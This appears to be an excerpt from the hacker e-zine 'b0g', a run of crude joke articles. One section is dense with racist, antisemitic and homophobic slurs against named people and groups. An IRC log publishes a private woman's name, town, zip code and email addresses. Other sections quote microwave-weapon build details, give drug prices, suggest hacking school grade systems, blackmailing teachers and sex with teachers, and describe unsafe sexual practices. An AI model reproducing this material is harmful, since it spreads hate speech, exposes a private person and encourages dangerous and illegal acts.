put my two fingers up my ass - and what a great
feeling!#@!
I immediately understood what had happened.
I had at last realized the fact that I am gay!!
So, from now, not ONE bad word about gay people.
b0g == gay and we are proud of it!
Signed,
Gay-rad-b0b (I have officially changed my handle)
__________________________________________________
This was not funny, k-rad-bob, he, he - but at least you got some good
offers to join some top groups, like Hacking for Gays and the alike ;)
Please visit http://teleh0r.cjb.net/ for a Proof of Concept exploit for
this flaw, and a lot of more exciting exploits for other CGI scripts.
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#include
int main() {
(void)printf("you're m0th3r\n");
Return 0;
}
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[11:. - [ Ray guns and other leet stuff ] [joe-ph33r] :. ]
[gimp@b0g.org] :. ]
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Ray guns?, (I could not think of a good title!) well sort of...
HERF (High Energy Radio Frequency) guns can fire a high-powered
focused radio pulse through a short distance, which depends mainly
on the power and size.
The have been numerous reports of the Russian Mafia and other
criminal organizations to be using RF weapons to disable alarm
systems in order to commit their nefarious acts without the
police being alerted. Most of these have been hoax's and FUD.
though Law enforcement has benefited from the use of HERF weapons,
as the have been reports of police using them to end high speed
chases, by disabling the electronics in the criminals car, so
car will role to a halt. Though I have heard reports of people
trying this experiment and being unsuccessful as neither the
electronics nor the ignition systems of car engines are apparently
very vulnerable to high amplitude electromagnetic pulses. But cars
in close proximity (not too close though!) to a nuclear detonation
have been reported to have shut of due to the powerful EMP pulse
that is produced. So it works, you just need a lots of power.
Public demonstrations and rumors:
The was an experiment where a car was fired at by a HERF gun
which resulted in the car stuttering slightly but continuing to
run. Though it did effect the running of the car so a more powerful
burst will most certainly stop it.
Another demonstration of a HERF gun was shown, in which two
computers were the test subjects. Both computers crashed and there
was some slight data loss on the hard drives within.
TV shows have not been slow to cash in on the 'HERF hype', as one
TV show feature a so called HERF gun which was placed very close
indeed to the target computer. Upon activation of the device the
computer crashed, though the persons who set up the demonstration
might have just used a big water pistol to destroy the target
computer since it was so close.
Also a live demonstration of a HERF gun was going to take place at
the DefCon one year. Though the demonstration was cancelled at the
last minute, reportedly due to the 'advice' of the FBI.
Even more sinister applications of HERF technology have been
reported though it is still hard to see which is fact and which is
fiction. The applications include Murder at up to a 1km by giving
the victim a artificial heart attack. Although are report that the
soviets used this technique to kill goats at 1Km, though I have no
idea if the reports were real or not.
Here is the theory behind HERF bursts:
The general idea is to set up an L-R-C circuit and destabilize it.
For example, we know the change in emf (E) is related to the ke
quantities (L = inductance, R = resistance, C = capacitance) by:
L (d^2 I(t) / dt^2) + R (dI(t) / dt) + I(t)/ C = dE(t)/ dt
Where I(t), and E(t) are time-variable
Under suitable conditions it is possible to induce a voltage 'spike'
which is the equivalent of a HERF burst.
It is fairly well known that *all* electrical circuits containing
an inductance (L) are intrinsically explosive.
Thus, if such a circuit is somehow disrupted, there is an explosive
release of magnetic energy, of order:
W = 0.5 LI^2
Where L is the inductance (say of the inducting coil in the circuit)
and I is the current.
Say, for example, that L = 10 H (10 Henries) and I = 20A, then:
W = 0.5 (10H) (20A)^2 = 2000 J (Joules)
This is a fair amount of energy.
In practical HERF circuits one would incorporate a 'double layer'
say by using a capacitor across which some maximum value of
voltage V(D) might be applied. As the current is made to exceed
a threshold value I(D), a voltage drop V(D) occurs across the
capacitor up to the current I(ex) when it explodes and disrupts
the current.
When switched on, the current increases at rate:
dI/dt = (V(b) - R I/ L)
(V(b) is intrinsic emf of circuit)
Without the 'double layer' (capacitor) it reaches saturation at:
I(s) = V(b)/ R
If I(D) < I(s) uts rate of increase for I > I(D) is given by:
dI/dt = [V(b) - V(D) - RI]/ L
The current will tend towards a saturation value:
I(s)' = [V(b) - V(D)]/ R
If I(ex) < I(s)' the double layer will explode before saturation
value is reached.
The explosion will generate a high-energy radio frequency pulse.
High Powered Microwave weapons (HPM)
The advantage of HPM weapons is that it is very powerful and can
have a very long range. The basics of HPM is that they comprise
of a electrical power source, an RF generator and a antenna, for
beam direction. I have found some information where a engineer
(His name is Richard Boylan to give him credit for this) helped
construct one such weapon:
"The HPM demonstrator we built consisted of basically two
sections. A so-called Marx generator, which produces a very
brief, very high voltage, high current pulse, and a
magnetron/antenna assembly, which converts the pulse current
into an intense burst of microwave energy and then directs it
towards a target. The demonstrator was housed in a trailer which
had its own 15 kW diesel generator, and they used to tow it out
to the desert to test it. The testing was done at the Cibola
Range of the Yuma Proving Ground near Yuma, Arizona.
A commercial 100 kV DC power supply was used to charge the
20-stage Marx, where it charged its capacitors in parallel, and
then via a series of spark gaps discharged them in series. With
the power supply set to 27 kV, the Marx would output a 265 kV,
3500 ampere, 21.4-nanosecond pulse. The spark gap array was
pressurized with air, and the air pressure was regulated so as to
control the point at which the Marx would fire. This allowed the
system to operate over a range of output power levels. One
megawatt was a typical pulse-power output, and with typical 50%
magnetron efficiency, a half-megawatt RF pulse could be achieved.
The negative-polarity output pulse from the Marx was coupled to
a large, cold-cathode magnetron tube equipped with a
super conducting magnet. The magnet was cooled to super conducting
temperatures by liquid helium, and the magnetron itself was
evacuated by a small vacuum pump. A specially-designed magnet
power supply (1 volt, 70 amperes) was used to energize the
magnet assembly. A wave guide couples the resulting microwave
energy (4.4 GHz) to a 10-foot diameter dish antenna, which was
mounted several feet above the trailer. Precautions were
necessary around the operating equipment to protect personnel.
Strong magnetic field, X-radiation from the magnetron, and RF
hazard from the antenna all had to be considered. A zone of
"denied occupancy" was set up in front of the antenna, which was
basically a 12-degree cone which extended some 800 meters out in
front of the antenna. The most intense part of the beam occupied
a 6-degree angle, and in the center of the beam at a range of
30.5 meters, 9.85 watts per sq cm was developed."
The results of the test he described as impressive, with the weapon
totally destroying laptops, wrist watches and an army land mine at
a distance of two miles.
Though I have no idea if this testing was real and if the HPM weapon
if build the way it is described would work, though its construction
sounds about right. You must also keep in mind that this
construction and testing was supposedly have taken place between
1987 and 1989, so HPM technology will have moved on considerably
since then. I reckon you can probably build a decent short range
microwave weapon by stealing a few bits out of some microwave ovens
and adding a few extra bits, though the is still the hazard of
radiation from the magnetron tube and high voltages.
The first half of the weapon is a Marx generator or a variant of it,
you can build one of these quite easily and the are many free
example picture and circuit diagrams that you can download for free
on the internet. Though you most probably the rest I have no idea
though you might want to raid you're saving account. (still can you
make toast from a mile away? That's what I want to know)
Of course these are still high powered microwaves you are dealing
with. Some warning signs that you are being exposed to high levels
of microwave radiation include:
1. You feeling warm/hot.
2. You going suddenly blind (the tissue in you're eyes being
destroyed)
3. Extreme pain (at high levels)
4. Death
The Threat
Most countries military now harden their equipment against this
threat. As flux bombs I believe were used in the gulf war to knock
out enemy weapons and equipment.
But how long is it before terrorists get there hands on RF weapons?
Probably not that long now (if not already), I can see The IRA and
Basque terrorist (or political solders as they prefer to be called)
as well as organized crime will probably start using these types of
weapons within the next 10 years yet our governments (both British
and American still do not see the need to hardening civilian
critical equipment against this threat. For example what would
happen if one of these weapons was used on a commercial jet, or to
hose a major financial district by some terrorist or criminal
organization!?! (just had to put some FUD in there to keep
interesting)
Shielding
Shielding is relatively inexpensive these day and if you would like
more information on shielding you're equipment see at article
at: http://www.infowar.com called hardening you're assets, which
explains ways to protect against these type of weapons as well as
how to make you're computer and equipment EM-Secure (or TEMPEST
hardened as it is commonly called).
High energy LASER (HEL)
Laser stands for 'Light Amplification by Stimulated Emission of
Radiation' and everyone knows what a laser is, well unless they have
been in living in a cave or something for the last 35 years.
Most people have seen lasers that are used in cutting and for surgery
but what most people don't know is that the US military has laser
weapons powerful enough to shoot down missile and knock satellites
out of orbit. the advantage of laser defenses over missile defenses
is that (obviously as light travels very fast) you can't run form a
laser, so as long as its targeting system is accurate it will hit the
target. Currently the US army is developing the THEL (tactical high
energy laser) for mobile surface to air defenses.
The US military has is also developing laser weapons to blind the
target (Electro optic countermeasures or EOCM), mind you, you can
already do this to people driving cars with a laser pointer.
Particle beam weapons
Basically particle beam weapons are a bit eleet and not something you
can muck around with in you're back yard. A particle beam weapon
Basically fires a stream of charged protons a certain distance. The
cool thing about particle beams though is that the beam can pass
through other objects (mainly air usually) with it only loosing a
small amount of energy, but when it finally slows down to a certain
speed, the particles will start hitting the atoms in the area (in the
air usually) which knocks electrons off and makes a mess, creating a
area of plasma. This plasma is not that useful for much though, I
don't thing it would do that much damage to a aircraft, sure it would
hurt people, but a bullet would do a much better job. The only good
reason for the development of this kind of weapon is for electronic
counter measures as the ball of plasma would probably give a good
radar return quite well and would most probably create enough heat
for heat seeking missiles to be fooled by it. If you want to see
a particle beam in action, pop down to Area-51 as they sometimes test
them there, look out for the plasma moving around about a mile above
the test area.
Well that's my quick round up of some DEW (directed energy weapons),
the are many other directed energy weapons being developed but most
of them are too l33t for me :(
*********************************************************************
DISCLAIMER: I will not be held responsible for anything you may or
may not do. Oh and in most parts of the world the are laws against
constructing and possessing these types of devices.
I make no claims for the correctness of this information as the
pentagon never answered my questions.
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[12:. - [ bananas, Hitler crew, defcon and drugs ] [tak] :. ]
[tak@b0g.org] :. ]
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OK, first thing, this article is how to eat bananas!
Banana BOMBS! first you gotta go to the gheto you fagit, and ask the
black doods you see if they are related to rednay king, if they say yes,
then call them nigers, and walk away. If they say shit, say shit on your
mom beep beep!
AAH
ok, OMG check it out
you get a peach, banana, a pair, and a stereo. You open the stereo up, and
put fruit in it, then take it to the city, on the roof, and throw it on
the people wlaking on th estreet. AHAHA STUPID FAGITS.
OK
HERE ARE SOME b0g FREQUENTLY ASKED QUESTIONS THAT ARE NOT COVERED ON THE
WEB PAGE:;;;;
____
ARE YOU GUYS GAY? | |
fuck you fagit! |____|____
| |
DO YOU GUYS HACK SHIT? ____| |
yes you fagit
ARE YOU GUYS 'ELITE?'
yes, now go away you fagit
WILL YOU BUTT SEX WITH ME?
OMG your a fagit!
WHY DO PEOPLE READ B0G?
cause their not fagits liek you
MY MOM TOLD ME ABOUT B0g, HOW DID SHE KNOW ABOUT IT?
i fuck her you fuckign fagit
OK THATS IT.
NOW SOME IRC QUOTES THAT ARE REAL COOL.
<tak> hack the planet
<tak> fagit
<odin-> OMG ROFL, TAK WTF? I WAS WITH MY SISTER, AND I PUKED <HAHA
<ODiN__> dood wtf? haha sex is cool
<k-rad-bob> i love you too!
AHHAHA M()()P
HEY CHECK IT OUT, Dis.org CREW is a bunch of fagits, they walk around with
black clothes on, and are liek look at me, im a fat fagit!
WHAT A LOSERS
they ware black shirts with a blue logo thats says
____ _____ ____
|__ | | _ | | __|
__| | | |_| | | |__
|____| |_____| |____| THAT SAYS 'D O C'
NOW SENCE B0g IS 0day HACKER HIOTLER STYLE NINJAS WE DO THIS!
we make shirts that are black, with blue righting on them that say
_
| |
|_|__ _____ ____
|__ | | _ | | __|
__| | | |/| | | |__
|____| |_____| |____| THAT SAYS 'b 0 g' you fagit
| | BUT IT LOOKS LIEK DOC, making fun of em
|_| cause they are a buincha gay fagits.
INTERVIEW TIME!
ME, and PS [Peter Shitley]
[me] Peter shitley, why does your name have hte word 'shit' in it?
[ps] its Peter Shipley, goofy :)
[me] don't hit on me you fagit!
[ps] excuse me?
[me] YOUR A FAGIT
[ps] FAGIT?
[me] DONT CALL ME A FAGIT YOU NIGGER!
[ps] i did not call you a 'FAGIT'
[me] ok shut the fuck up you fagit
[me] ok then
[me] at defcon 9, jefe hit you with a golf cart, HAHAHAHA
[ps] YeAh He DiD!
[me] WTF you fagit, please dont talk with stupid caps
[me] it looks gay
[ps] but im a HaCkEr
[me] shut up fagit
[me] did you not try and get jeffe arresated for drunk driving?
[ps] he was drunk
[me] i didnt ask if he was drunk you fagit
[ps] yes
[me] and Grand Theft Auto?
[ps] he stole the golf cart from the hotel, wich is theft.
[me] YOU STUPID FAGIT, GET A CLUE.
[ps] please stop saying fagit, the term is 'homosexual'
[me] dont call me gay you fagit
[me] are you a jew?
[ps] no
[me] a JEWISH FAGIT?
[ps] no
[me] fuck you you fagit
THE END
AHHAHAHAaHAHA
WHAT A FAGIT
OK WELL HAHA
BIutch
im gonna like go to sleep now, i got a headache.
GOTTA HAVE FAITH
AAAAAAAAAAAHHHHHHHHHHHHHHHHHHHAHHAahha
OK OK
SOMEONE ASKED ME THIS:
AHAHHA BANNNAHHHAHAHAHAHAHAHAH
CAUSE IM A LEET NINJA, AND YOUR A FAGIT!
AHHAHA LSOERS
[Disclamer: tak is not racist, sexist, or prejudice in any way, he just
lieks to offent stupid fucks]
Exactly WHY b0g is elite
OK, so your fucking readers are thinking what the fuck tak, your a homo,
if so...that is one reason im a ninja.
b0g.org is the most pimptacular place on the net with coolest people
around.
The name one represents deep morality, and inner peace wiht society, while
infact making anyone in the b0g-path look like fucking morons.
This 'brotherhoof of gimps' society is one of true onteligance, and to
produce such articles of elitness takes pure skill. b0g is a place where
anyone can come, and be themselves...that in itself represents pure
satisfaction to the body, becoming one with the universe.
now, why everyone else is not elite
cDc: Cult of the Dead Cow is a bunch of flaming homosexuals. They code
'Network Administration Tools' in Visual Basic, and release them to the
public, trying to make themselves look 'cool' sheesh! Last couple years at
defcon, they have displayed uberly-LAME acts of...STUPIDNESS... but when
your IQ equals [your weight+height+showsize DIVIDED BY ZERO] then jumping
around in monkey-wear is ok. The truth is cDc makes themselves look like
flaming idiots, and when people as chill as b0g come around, it makes the
cDc scene look even gayer.
DOC: Dis.Org Crew...what can i saw about them, other than those fags from
San Francisco are infact flaming homosexuals, and they clearly admit
it. DOC is run by Pete Shipley, the lead fag of the century. These guys
have 0-skill, and walk around wearing treachcoats to hide their fat ass's
[state of mind really, nothing can hide that shit] They liek to wear black
clothes, cause the only respect they can get if from 12 year old groupies,
who are afraid they will be squashed by the tub-o-lard DOC losers.
__________________
$$$$$ | Scratchin my ass |
$/o o\$ | Lookin gay...... |
$$\ ^ /$$ /__________________/
__\#/__
/ \
/\| DOC |/\
/ // \\ \
\ \\_______// /
\_/ \/
| |
| | |
| | | |
_|___| |___|_
|____| |____|
Attrition: Attrition has been providing mirrors of ub3rly 31337 haxt0rs
for a bit now, but they associate with the losers at dis.org =\
You guys are pretty lame, but that whole 'tubthumping' non-embeded style
must get all the girls.
AntiOnline/AntiCode: Hi, my name is jp, im a fag. I run a ghetto server,
and think im cool, cause i wear bright pink clothes.
AntiCode is a exploit/tools web page, is it not? Yet the layout is a
representation of a default directory listing...Yet its not, its a wannabe
one, cause he thinks its cool. =\ The problem with this is you are useing
lynx to bust out some shit, and what do you get? A whole clutter of SHIT
and after about 3 hours of searching through stuff you don't need, you
find what you do need, and you must select it 5 times to get through the
shitloads of redirections, and [ads?] heh... theres alot more, but that
joints to lame to talk about.
HackCanada: WHAT THE FUCK? narf narf narf, hack canada likes people to
call them at strange hours in the night =]
## Another reason b0g is pimped: cause we are, you homo
## that is why you are fuckign reading this you bitch!!
## most people know b0g is cool, and everyone else isnt
## [except the etards]
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affiliated with b0g,
instead, you can write tak...root@gheymonkeysex.com
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[13:. - [ Bill Being Satan Corrections ] [wizdumb] :. ]
[wizdumb@leet.org] :. ]
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Just a few corrections for stuff said in issue 8 of b0g
By Wizdumb <wizdumb@leet.org>
Okay. First things first. About Bill Gates being Satan. Let me start by
converting "Bill Gates III" into ASCII, as said in the article...
B = B
I = I
L = L
L = L
G = G
A = A
T = T
E = E
S = S
I = I
I = I
I = I
Perhaps he meant decimal, not ASCII. Oops. :) Also, how does he get those
last three III's to have a value of 1 each? Fuq gnoze.
But it doesn't matter. I have a way more profound discovery. The number of
Satan is in fact *not* 666, but 568. Why?
s = 115
a = 97
t = 116
a = 97
n = 110
! = 33
115 + 97 + 116 + 97 + 110 + 33 = 568
The exclamation mark, of course, is vital when reffering to any powerful
deity, as anyone would know. And thus, I present you with the *true*
number of Satan - 568.
Now you may be thinking that I was simply going to give you a more accurate
representative number for Satan and then leave you, but you are mistaken.
My
revelation is set to go much further than that...
Let's look at the decimal value of my handle...
W = 87
I = 73
Z = 90
D = 68
U = 85
M = 77
B = 66
87 + 73 + 90 + 68 + 85 + 77 + 66 = 546
568 = satan!
546 = WIZDUMB
Looks fine so far, but add the decimal value of SYN (22) and...
"WIZDUMB" + (SYN) == "satan!"
And so, I can conclude, that given my many sins (syns?) in the past - I
have
become Lucifer himself - sent down to earth to devirginize children and
blow up postboxes. I am the dark lord incarnated, and there is no stopping
me. Sooooooo HAH!
And since I (Satan, Wizdumb, whoever) am on this whole trip of correcting
last months issue, let me also note a minor mishap in MagicTux's article
regarding UNIX password files...
OpenBSD uses Blowfish for its password file, but BSDi and FreeBSD by
default do
*not*. They can use DES or (much better) MD5 out-of-the-box, but won't be
able
to use Blowfish without a fair amount of system hacking.
Next correction - In Trionix's article on smoking weed...
"iii) Remember the Golden Rule kids! DON'T COUGH!!!"
Totally wrong, y0. Coughing will give you away as a non-hardened weed-
smoker,
but will also open up areas of your lungs that aren't used normally, and
thus
get you more wasted than usual. :)
Now time for some additions - on Wh0rde's weed article. Purple weed is
*not* a
myth - I have seen and smoked it. Also, here in South Africa, there is a
native strain which has a hell of a lot of *brown* in it - it looks as if
it
was cut with tobacco, but having grown the shit myself, I *know* it aint.
:)
And speaking of my growing, why not check out the pictures of the crops
at the commune my brother used to stay at? They'll give you a good idea of
what South African weed is like...
http://home.global.co.za/~satur9/dagga-01.jpg
http://home.global.co.za/~satur9/dagga-02.jpg
http://home.global.co.za/~satur9/dagga-03.jpg
http://home.global.co.za/~satur9/dagga-04.jpg
http://home.global.co.za/~satur9/dagga-05.jpg
http://home.global.co.za/~satur9/dagga-06.jpg
http://home.global.co.za/~satur9/dagga-07.jpg
http://home.global.co.za/~satur9/dagga-08.jpg
"Dagga" is Afrikaans for marijuana, and the "gg" is this horrible guttural
sound that you won't find anywhere in English. If you know any German or
Dutch or Flemmish or something - then pronounce it as you would in that
language. If you don't speak any Germanic languages - make a sound like
yer hocking a loogy - it's summing like that.
The strain pictured in the above images is a "Swazi" substrain - a light,
trippy, highly resinous, sweet smelling strain. Beautiful stuff. I don't
know if Swazi is available in other countries, but Durban Poison (another
native South African strain) seems quite popular, and with Malawi - I'm
not sure.
The other main difference with the weed here is price. There are two main
factors that have contributed to this...
1) It grows naturally here - it aint anything special
2) It was smoked by the tribes native to our country long before us whiteys
rocked up - and is to this day. Greater demand - Lower price.
If you have the right contacts here in SA, you can pick up a jiffy bag full
of
A-Grade Swazi for R40 (about $6 or 4 pounds). You can get a bank bag of
not-particularly-wonderful stuff for R10 (about $1,50 or 1 pound). There is
also a huge shipment of Northern Lights imported from Amsterdam which is
currently floating around here, which will cost ya R70-R100 depending on
how
close you are to the importers.
Fuq I'm getting digressed. This is what happens when ya get me talking
about weed. Okay. I'm shutting myself up right now before I hurt
myself. (I have my matric finals coming up and won't be smoking weed or
taking
MDMA or anything for *2* months, which is gonna kill me :/) Oooh, but then
again, after my finals, I'll be smoking weed again after 2 months of
sobriety,
when I'm used to smoking it daily - and THAT is gonna kill me. :)
Aight. Later...
Wizdumb
mailto:wizdumb@leet.org
http://www.emi.za.net <=== New e-zine on it's way soon - watch out for it
http://www.mdma.za.net <=== My gay advisories and stuff - most of em at
least
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[14:. - [ how to not hack hotmail ] [k-rad-bob] :. ]
[k-rad-bob@b0g.org] :. ]
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Normally when people ask me to hack someones hotmail account I just tell
em to fux0r off.
This time I decided to get even.
And so the adventurous saga begins.
<SloWetKis> can you help me please
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SloWetKis is ABORT@ool-18bd11ee.dyn.optonline.net * JS
SloWetKis on #hacktech
SloWetKis using NewYork.NY.US.Undernet.Org NYC Undernet Server -
www.nac.net
SloWetKis End of /WHOIS list.
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<k-rad-bob> with what?
<SloWetKis> I need to get a password for my wife to be's hot mail account
<SloWetKis> I think she is cheating on me
<SloWetKis> I know her address, the state she is in and her zip code
<SloWetKis> can you help
<k-rad-bob> yes
<k-rad-bob> give me her docs
<SloWetKis> you have made my day what must I do
<k-rad-bob> i need her name, address and her email address
<SloWetKis> Sunalem sunalem@hotmail.com Valley stream New york,
11580
<k-rad-bob> is sunalem her first name?
<k-rad-bob> i need full name
<SloWetKis> yes last mendoza
<k-rad-bob> thanks
<k-rad-bob> whats your email?
<SloWetKis> how long will this take
<k-rad-bob> depends
<k-rad-bob> hopefully just a few hours
<SloWetKis> and what will I owe you
<k-rad-bob> nothing really
<k-rad-bob> consider it a favor
<k-rad-bob> but i need your email address
<k-rad-bob> do you have her social security number?
<SloWetKis> Benzysl@aol.com
<SloWetKis> no sorry
<k-rad-bob> well i should still be able to get it
<SloWetKis> she is sunalem913@aol.com
<k-rad-bob> okay
<k-rad-bob> just out of curiosity, why do you think shes cheating on you?
<SloWetKis> good question
<SloWetKis> working late
<SloWetKis> calling the office and no one answers
<SloWetKis> phone hang ups
<SloWetKis> I hope you can help me please
<k-rad-bob> it might be bad for your relationship if you do this you know
<SloWetKis> yes she denies it sez its in my mind and I am going crazy
<SloWetKis> she will never know of it
<SloWetKis> A submarine is most effective under the water
<SloWetKis> remember that
<k-rad-bob> hehe
<k-rad-bob> true
<SloWetKis> I will owe you big time and never forget a favor
fun huh?
Now for the really fun part:
From: k-rad-bob@b0g.org
To: sunalem913@aol.com;sunalem@hotmail.com
Subject: Dear Sunalem
Date: Thu, 31 Oct 2000 17:40:32
Your future husband tried to hack your email accounts because he thinks you
are cheating on him. Please read the enclosed log.
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[15:. - [ Getting Good Grades in School ] [MagicTux] :. ]
[magic.tux@gmx.net] :. ]
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Here are some _very_ useful hints on how to
stay out of trouble and get good grades in
school.
Newbie note:
US:
A is the best grade
F is the worst grade
Europe:
1 is the best grade
6 is the worst grade
Oh, and by the way:
http://www.fbi.gov/programs -- 0wned ];->
1.)
Don't beat people up. If you do beat people
up and get sent to the principal, then react
as the following explains.
a)
Problem:
The guy you beat up points at you and says
"He started!".
Solution:
Say something like "Even though I know this is
wrong what I'm saying, I will admit that I started
it, to keep the principal from having to make a
heavy decision. May God forgive me for lying."
b)
Problem:
The guy has proof that you beat him up ... and
that you started it.
Solution:
Beat him up again and destroy all evidence ...
including witnesses. See, if you kill the principal
nobody will ever find out what happened. Oh, and then
of course blame it on the guy you beat up.
c)
Problem:
The guy says something like you were supposed to say
in a).
Solution:
That guy is cool and reads b0g. Leave him alone and
beat the principal up together with him.
2.)
Don't take drugs in school. You might get caught and they'll
tell your parents. This also goes for smoking and alcohol.
Just don't do it and you'll be out of trouble. If you do
decide to smoke some pot or something and you DO get caught,
then try one of the following.
a)
Start crying and say something like 'I didn't want to,
but <insertnameofsomeassholehere> forced me to.'
b)
Start crying and say something about your parents getting
divorced and you being under great psychological pressure.
c)
Offer the principal or whoever you got sent to some of
your pot. When he's high ... RUN FOR IT!
d)
This guy in the park next to the school came, tied you to
the bench and stuck a joint in your mouth. They'll believe
it. If they ask what you were doing in the park, once again
RUN FOR IT!
e)
Say you that it was incense and never wanted to take drugs
cause they are bad.
f)
If that person you got sent to smokes, tell them how bad
smoking is and give them the 10 billion reasons why pot is
healthier than cigarettes. (see some other b0g)
3.)
Always do your homework! This will get you good grades in school.
If you "forget" to do your homework, try the following.
a)
One of your 2 billion relatives died. Just remember to keep
track of which of your relatives already died. They tend
to get suspicious, when your dad dies for the fifth time.
b)
See b above.
c)
Be honest. Newbie note: I don't recommend to try this one,
cause it will get you really unpopular and the teachers will
give you bad grades. But at least you manage to stay out of
trouble this way.
d)
Tell them about some dudes from the Russian Mafia coming and
taking you to Moscow. You just got released last night 2 AM
and you are still very taken away. If they don't believe you,
tell them to read the newspaper. If they get out a newspaper
then .... RUN FOR IT!
e)
Sidetrack'em. Bring up some new topic that the teacher likes
and act like you're interested. This will keep them from
checking for homework.
4.)
Never tell anyone about your great computer skillz (unless you
wanna impress some hot chick). To avoid being a hacker and
having your parents called, do the following.
a)
Don't type fast. Anyone that can type fast is a "hacker".
b)
Pretend you don't know how to do a double-click.
c)
Haxor your computer's network. If they actually are stupid
enough to keep the student's grades on the computers (which
I highly doubt), then this is another way of getting good
grades.
If you don't get what I mean with that, you shouldn't be reading
this.
5.)
Be a teacher's pet.
Newbie note: This will get you very unpopular.
To be a teacher's pet, try the following.
a)
Always do your homework.
b)
Always agree with the teacher.
c)
Use high-vocab language.
d)
Tell the bad kids to be quiet.
e)
Pretend like you're eager to learn.
f)
Always smile at your teachers
g)
Join the Boy Scouts!
6.)
Be smart.
I don't really recommend this one, cause it's so boring and requires
almost no skill. To be smart you'll be like this. I tried this a
while. It gets you quite unpopular and teachers start liking you
(yuck!).
a)
Always know the answer to every question.
b)
Always doing your homework (FAST!!!)
c)
Be a total bitch.
7.)
Don't be "mean" to your teachers.
Example:
During French with my 120 year old lesbian transvestite french
teacher
in a vocabulary test, she dictates "You are stupid". I write down
"tue bete" cause I'm like extremely intelligent. Then I get pissed
and
say, "Thanks, you too, bitch". She didn't really like that and sent
me to the principal.
So, don't make stupid mistakes like that one.
8.)
Blackmail your teacher(s). This will guaranteedly get you good grades
and it's like the coolest thing you can do. You'll get popular and you
can mess up in school as much as you want. Also, your parents will be
all
proud of you :) All you'll need to do, is go up to your teacher and
say,
"I know all about your secret".
There is a certain risk to it though, here are some examples of what
might happen.
a)
The FBI comes and wants to arrest you.
This problem is quite easy to solve, just blackmail them.
b)
The teacher knows all about your secret.
Just say, "Well I know all about your OTHER secret, too".
c)
The teacher asks you what her "secret" is. Tell her it's
too dangerous to say in this room because the FBI is listening.
d)
Your teacher doesn't have a secret.
RUN FOR IT!!!
9.)
Fuck your teacher. This will work quite often. Just remember the
teacher should be of the opposite sex, unless they're gay or lesbian
or bisexual.
Also remember to bring a condom, cause your Boy Scouts slogan is
"Be Prepared", right? So, your teacher will think you're like totally
organized.
DON'T GET THEM PREGNANT OR YOU'LL BE IN DEEP SHIT!!!
IF YOU HAVE AIDS THEN DEFINITELY FUCK'EM!!!
IF THEY HAVE AIDS FUCK'EM ANYWAY CAUSE YOU WANT GOOD GRADES!!!
STOP SCREAMING!!!
10.)
Ok, now we come to the final method. This one is the probably easiest
and most relaxing one. BLACKMAIL your teacher.
Nothing to say about it, this method is just perfect!!!!!!!!!!!!
Just make sure you have enough money :))))))
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[16:. - [ Guide to Mostly Harmless Masturbating II ] [tiller] :. ]
[tiller@cyberspace.org] :. ]
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Today we will explore the many ways of sexual pleasure, and the many
talents passed on through many generations of masturbators like myself.
These trade secretes will substitute a woman for the rest of your life.
*The Art of Talent
Talent Method One: Typing and masturbating
Have you ever been on IRC, and you just get that 'urge'? Do people try and
talk to you while you're in the middle of that 'urge'? With the help of a
revolutionary technique, you can chat, and satisfy that 'urge'!
First you need to place your left hand on the keyboard (if you use your
right hand to masturbate). Place your pinky on 'f', ring finger on 'g',
middle finger on 'h', and your index finger on 'j'. In this position, you
are now able to reach every key on the keyboard, with a little reach and
dexterity. This art form is so useful, I am currently writing this whole
text with one hand, (Im sure you don't care to hear what the other hand is
doing right now).
Talent Method Two: Snow Writing
Picture this scene, wintertime, no body is looking, and you gotta take a
piss. With a little practice you can write "Tiller RAWKS!!" with your
writing utensil (penmanship and eligibility vary according to size). The
trick is to write in cursive, some inexperienced wannabe's try and print,
causing pain to the urethra, as they have to hold it for the next letter.
Another common mistake is the act of masturbating while trying to piss.
Although you satisfy two 'urges' with one act, you also get sloppy
handwriting, and piss all over your leg.
Talent Method Three: Late Night Homework
Have you ever had to stay up late on night to do your homework? I'm sure
it's happened to all of you. And Im sure you've gotten exited doing
Algebra (thinking of your 80 year old teacher) and just wanted to yank it,
and finish your homework in the morning. It's happened to all of us, don't
be ashamed, cept my teacher is a FOX. With the invention of a new pen (the
one that makes squiggly marks, and vibrates) you can yank it harder than
ever and still have neat handwriting, only to find out that 2(25x + 3x)
does NOT equal 5ex.
The whole trick is timing, and consistency. If you can perfectly time the
up and down motion of the pen, and integrate the movements of your hand to
the pen, your body movement will counteract with the motion of the pen,
causing the neatness of your writing. Common mistakes have risen with the
invention of this revolutionary pen. Some individuals use the pen as a
vibrator, inserting it up their anus, causing the malfunction of both their
rectum and the motor of the pen. (I'll illustrate the correct way to
masturbate with the pen later).
*Techniques of The Master Himself
Technique One: Frigid Air
Using the proper household items, you can implement prestige technique, and
practice, to be used on the first chick you see. Here i will demonstrate
the Frigid Air technique, developed by myself, with the thoughtful idea by
bads3ctor. Have you ever wondered why they put those ruber edges on the
doors of refrigerators? Well... now you know. First, open the fridge;
next place your penis in the crack of the door, shutting it (GENTLY) and
start pumping. Be aware that any jizz squirting out, WILL spoil food, so
aim left of the leftovers.
For the advanced level of masturbators, pull up a chair, and use the
freezer. This adds to the challenge. If you aren't careful, sperm will
act as glue, painfully sticking the head of your penis to the metal part of
the door. If this happens, DON'T JUMP DOWN FROM THE CHAIR!! Calmly refer
back to this text for further instructions, because if you don't follow
this exactly, you'll never have children again. Oh, did i forget to
mention, if this happens, your fucked, and i have pity on your soul. I
guess all i can really suggest is that you try and lick it, not that that
would help any, but that would be fucking hilarious if you where caught
with your tongue, and dick stuck to the freezer door.
Technique Two: Base
The base method developed by Bose (maker of Bose speakers). He theorized
that by turning up the base to your favorite song increases the amount of
pleasure. Logically, the vibration of the speaker would guarantee a double
orgasm. First pick out a cd, press play, turn the base on full blast, and
cut a hole through the cloth of your speakers. Now ram it inside, and
enjoy.
The advantage of this method is the stealth, incorporated with the loud
noise of the stereo. A common mistake made by many young individuals is
turning it up WAY too high, causing parents to come in your room to tell
you to turn it down. Or causing the neighbors to call the police, forcing
them to bust down the door, cause you can't hear them knocking and yelling
your name. This can become a sticky situation. On another note, the
sticky substance that is ejaculated can cause the short out of an expensive
speaker. Please masturbate with caution.
Technique Three: Vibrating Pen
The vibrating pen, making it's second appearance in this text today, is a
very useful tool. Some kindergartners underestimate the power of 'the
pen'. If only they knew, it could get them laid with their teacher, then
the pen would be a revolutionary tool to get A's in ALL your classes. But
for now, we're just going to illustrate the purpose of self-pleasure. As
you've all read in my first GTMHM, the Brown Finger Fist Action was a
popular one amongst the many readers. In this method, we advance on the
Brown Finger Fist Action. By sticking the pen up your anus and
masturbating at the same time, you will achieve top orgasm, screaming your
